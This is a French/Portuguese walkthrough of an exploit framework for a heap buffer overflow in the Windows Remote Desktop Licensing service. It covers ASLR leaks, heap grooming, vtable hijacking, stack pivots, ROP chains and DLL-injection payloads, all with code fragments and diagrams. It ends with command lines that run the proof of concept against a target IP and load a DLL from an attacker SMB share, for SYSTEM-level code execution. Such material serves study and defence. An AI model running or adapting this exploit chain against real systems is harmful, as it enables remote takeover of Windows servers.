
Ce document explique chaque composant du framework, pourquoi il existe, et comment fonctionne l'exploitation du heap buffer overflow sur Windows moderne.
Le service Windows Remote Desktop Licensing (lserver.exe) contient un heap buffer overflow dans la fonction CDataCoding::DecodeData.
┌─────────────────────────────────────────────────────────────┐
│ VULNERABILIDADE: Cálculo incorreto de tamanho │
├─────────────────────────────────────────────────────────────┤
│ 1. Cliente envia dados Base64 de tamanho N │
│ 2. Servidor calcula: buffer_size = (N / 4) * 3 │
│ 3. Servidor aloca buffer de 'buffer_size' bytes │
│ 4. Decode Base64 REALMENTE escreve: ceil(N * 3/4) bytes │
│ 5. Se N não é múltiplo de 4: OVERFLOW! │
└─────────────────────────────────────────────────────────────┘
Exemple concret :
(4001 / 4) * 3 = 1000 * 3 = 3000 octets allouésceil(4001 * 0.75) = 3001 octets écrits┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT CHAIN │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG awareness) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (Orchestrator) │
└───────────────────────────────────────────────────────────┘
primitives.py - FondationUtilitaires de bas niveau pour la manipulation de la mémoire.
Les exploits ont besoin de :
# Pack/Unpack - Converter inteiros para bytes e vice-versa
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# Padrão Cíclico - Para identificar offset de crash
cyclic(100) # Gera sequência De Bruijn
cyclic_find(pattern, value) # Encontra offset do valor
# Alinhamento - Memória precisa estar alinhada
align(0x1003, 0x10) # → 0x1010 (alinha para 16 bytes)
Problème réel : Vous provoquez un crash et le RIP contient 0x61616171.
cyclic_find(pattern, 0x61616171) → offset exact !leak.py - Bypass d'ASLRAddress Space Layout Randomization : À chaque démarrage/exécution, les adresses changent.
Boot 1: ntdll.dll @ 0x7FFA12340000
Boot 2: ntdll.dll @ 0x7FFB98760000
Boot 3: ntdll.dll @ 0x7FFC55550000
Sans savoir où se trouve la mémoire :
class LeakInfo:
"""Container para endereços vazados"""
heap_base: int # Base do heap
ntdll_base: int # Base do ntdll.dll
kernel32_base: int # Base do kernel32.dll
# ...
class LeakProvider:
"""Orquestrador de fontes de leak"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# Tenta cada fonte até conseguir
| Source | Comment Ça Fonctionne | Quand l'Utiliser |
|---|---|---|
Lors de démonstrations/labs, vous pouvez :
--ntdll-base 0x7ffa...Cela simule un leak réel, permettant de tester le reste de la chaîne.
target_model.py - Mappage de la CibleModélisation des structures de données vulnérables et adjacentes.
Overflow ≠ Exploitation. Nous devons savoir :
class VulnerableBuffer:
"""O buffer que vai sofrer overflow"""
allocation_size: int # Quanto foi alocado
write_size: int # Quanto será escrito
overflow_amount: int # Diferença = overflow
def calculate_overflow(input_size):
# Simula o bug de cálculo
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""Objeto que será corrompido (adjacente no heap)"""
fields: List[StructField]
has_vtable: bool # Tem tabela virtual?
has_function_ptr: bool # Tem ponteiro de função?
# Objeto hipotético baseado em análise reversa
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# Campos mapeados
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True ?Marque les champs utiles pour l'exploitation :
vtable : Si nous l'écrasons, nous contrôlons les appels de méthodecallback : Si nous l'écrasons, nous contrôlons quand le callback est appeléwrite_primitive.py - Écriture ContrôléeL'overflow écrit des données séquentielles. Mais nous avons besoin de :
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
Constrói buffer de overflow com valores precisos
Layout:
[PADDING até offset] [VALOR CONTROLADO] [MAIS DADOS]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# Coloca valor exato no offset exato
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# Sobrescrever vtable
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# Sobrescrever callback
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| Écriture | Résultat |
|---|---|
| AAAA... | Crash sans contrôle |
| Adresse précise à un offset précis | Exécution contrôlée |
heap_controller.py - Heap GroomingWindows utilise LFH (Low Fragmentation Heap) et Segment Heap :
Grooming = Masser le heap pour obtenir un layout déterministe.
ANTES DO GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Alocações aleatórias, buracos imprevisíveis
DEPOIS DO GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Layout controlado, "buracos" onde queremos
class HeapLayoutController:
def execute_full_groom(self):
# Fase 1: Preencher buracos existentes
self.phase_fill(50)
# Fase 2: Ativar LFH para o bucket alvo
# (Windows ativa LFH após ~17 alocações do mesmo tamanho)
self.phase_activate_lfh()
# Fase 3: Spray - criar padrão denso
sprayed = self.phase_spray(200)
# Fase 4: Criar buracos estratégicos
# Liberamos a cada N alocações
self.phase_create_holes(sprayed, interval=4)
# Fase 5: Estabilizar
self.phase_stabilize()
trigger.py - Déclencheur Post-CorruptionLa corruption a eu lieu. Et maintenant ?
Estado atual:
- Memória corrompida ✓
- Valor malicioso escrito ✓
- Mas ninguém USOU esse valor ainda!
Nous avons besoin que le programme lise et utilise la donnée corrompue.
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# Estratégias implementadas:
class SecondRequestTrigger:
"""Faz segunda chamada RPC que usa objeto corrompido"""
class DestructorTrigger:
"""Desconecta - força cleanup que usa ponteiros corrompidos"""
class TimerTrigger:
"""Espera timer interno processar estado corrompido"""
1. Primeira chamada RPC → Corrupção acontece
2. Disconnect (trigger) → Server chama destructor
3. Destructor lê vtable corrompida → Chama nosso endereço
4. Execução controlada!
execution.py - Contrôle de FluxRIP (x64) ou EIP (x86) = Instruction Pointer
Si nous contrôlons le pointeur d'instruction, nous contrôlons l'exécution.
class HijackMethod(Enum):
VTABLE = 0 # Mais comum em heap overflow
FUNCTION_PTR = 1 # Callback pointer
RETURN_ADDR = 2 # Stack overflow (não é nosso caso)
OBJETO NORMAL:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ method1 address │ ← Legítimo
│ │ │ method2 address │
└─────────────┘ └──────────────────┘
APÓS CORRUPÇÃO:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data... │ │ GADGET ADDR │ ← NOSSO!
│ │ │ GADGET ADDR │
└─────────────┘ └──────────────────┘
Quando method1 é chamado → Executa nosso gadget!
Problème : le hijack de vtable nous donne UN appel. Nous avons besoin de plus.
Solution : Stack Pivot
# Gadget que troca RSP para onde temos ROP chain
xchg rax, rsp; ret # RAX = nosso endereço → RSP = nosso endereço
# Agora o "stack" é nossa área controlada!
# Cada RET pulas para próximo gadget do nosso ROP chain
code_reuse.py - Chaînes ROPDEP (Data Execution Prevention) : Le Heap et la Stack sont NON-EXÉCUTABLES.
Shellcode no heap → CRASH (access violation - execute)
ROP = Return-Oriented Programming
Nous enchaînons des « gadgets » — de petits morceaux de code qui se terminent par RET.
GADGET 1: pop rcx; ret ← Coloca valor em RCX
GADGET 2: pop rdx; ret ← Coloca valor em RDX
GADGET 3: call LoadLibraryA ← Chama função!
STACK/ROP CHAIN (nossa área controlada):
┌────────────────────┐
│ addr de pop_rcx │ ← RSP aponta aqui
├────────────────────┤
│ valor para RCX │ ← Será "popado" para RCX
├────────────────────┤
│ addr de pop_rdx │ ← RET vai para cá
├────────────────────┤
│ valor para RDX │
├────────────────────┤
│ addr LoadLibraryA │ ← Finalmente chama!
└────────────────────┘
# Carregar DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain
# Alocar memória executável
build_virtual_alloc(size) → ROP chain + RAX = endereço RWX
# Executar comando
build_winexec(cmd_addr) → ROP chain
payload.py - Payload Sémantique| Type | Exemple | Résultat |
|---|---|---|
| Données | AAAAAA... | Crash |
| Intention | ROP + chemin DLL | DLL chargée |
class PayloadIntent(Enum):
CRASH_TEST = 0 # Verificar se exploração funciona
DLL_INJECT = 1 # Carregar nossa DLL
COMMAND_EXEC = 2 # Executar comando
SHELLCODE = 3 # Executar shellcode via ROP
def build_dll_inject(dll_path: str) -> bytes:
"""
Estrutura final:
┌──────────────────────────────┐
│ ROP Chain (LoadLibraryA) │ ← Executa primeiro
├──────────────────────────────┤
│ Padding │
├──────────────────────────────┤
│ "\\attacker\share\pay.dll\0"│ ← String do caminho
└──────────────────────────────┘
O ROP chain passa o endereço da string para LoadLibraryA
"""
mitigations.py - Conscience des Mitigationsdef adapt_exploit(config):
if mitigations.DEP.enabled:
config["use_rop"] = True # Obrigatório
if mitigations.ASLR.enabled:
config["require_leak"] = True # Obrigatório
if mitigations.HEAP_HARDENING.enabled:
config["spray_count"] *= 2 # Mais spray
┌─────────────────────────────────────────────────────────────────┐
│ FLUXO DE EXPLORAÇÃO │
└─────────────────────────────────────────────────────────────────┘
STAGE 1: LEAK (ASLR Bypass)
├─ Obter endereços de memória
├─ Input: manual ou auto-leak
└─ Output: LeakInfo com bases de módulos
↓
STAGE 2: ANALYZE (Target Mapping)
├─ Calcular overflow amount
├─ Identificar objetos adjacentes
└─ Determinar offsets de corrupção
↓
STAGE 3: GROOM (Heap Shaping)
├─ Fill → Activate LFH → Spray → Holes
├─ Criar layout determinístico
└─ Preparar "landing zone" para alocação vulnerável
↓
STAGE 4: PAYLOAD (Build)
├─ Construir ROP chain
├─ Incluir strings/dados necessários
└─ Combinar com overflow data
↓
STAGE 5: CORRUPT (Trigger Overflow)
├─ Enviar chamada RPC maliciosa
├─ Causar overflow
└─ Sobrescrever alvo (vtable/callback)
↓
STAGE 6: TRIGGER (Force Use)
├─ Disconnect ou segunda chamada
├─ Forçar uso de ponteiro corrompido
└─ Hijack de execução
↓
STAGE 7: EXECUTE (RCE)
├─ ROP chain executa
├─ LoadLibraryA carrega DLL
└─ CÓDIGO ARBITRÁRIO EXECUTANDO!
↓
┌─────────────────────────────────────────────────────────────┐
│ RESULTADO: Shell reverso, backdoor, etc. como SYSTEM │
└─────────────────────────────────────────────────────────────┘
pip install impacket
# Apenas verificar se serviço está rodando
python -m madlicense.poc -t 10.0.0.5 --check
# Dry run (não envia payload, simula tudo)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
--ntdll-base 0x7ffa12340000
# DLL Injection completo
python -m madlicense.poc -t 10.0.0.5 \
--dll "\\\\attacker\\share\\payload.dll" \
--heap-base 0x22345670000 \
--ntdll-base 0x7ffa12340000 \
--kernel32-base 0x7ffa12500000
# Executar calc.exe (PoC clássico)
python -m madlicense.poc -t 10.0.0.5 \
--cmd calc.exe \
--ntdll-base 0x7ffa12340000
Ce framework est destiné à :
PAS pour :
Phrase clé :
« Exploiter un heap buffer overflow sur Windows moderne ne se résume pas à "écrire beaucoup". C'est une chaîne précise de leak → groom → corrupt → trigger → execute. »
Les 9 Modules :
Sans aucun de ces éléments, pas de RCE.
ManualLeakSource |
| L'utilisateur fournit les adresses |
| Lab/Debug avec accès à la cible |
ResponseLeakSource | Extrait des réponses RPC | Si le service fuit des pointeurs |
TimingLeakSource | Side-channel temporel | Théorique, très difficile |
| Mitigation | Ce Qu'Elle Fait | Notre Bypass |
|---|
| DEP | Heap/Stack non exécutable | ROP (réutilisation de code) |
| ASLR | Adresses randomisées | Info leak |
| CFG | Valide les cibles des appels | Appeler des cibles valides, puis pivot |
| Stack Cookie | Détecte le stack overflow | Nous n'utilisons pas de stack overflow |
| Heap Hardening | Pages de garde, etc. | Grooming soigné |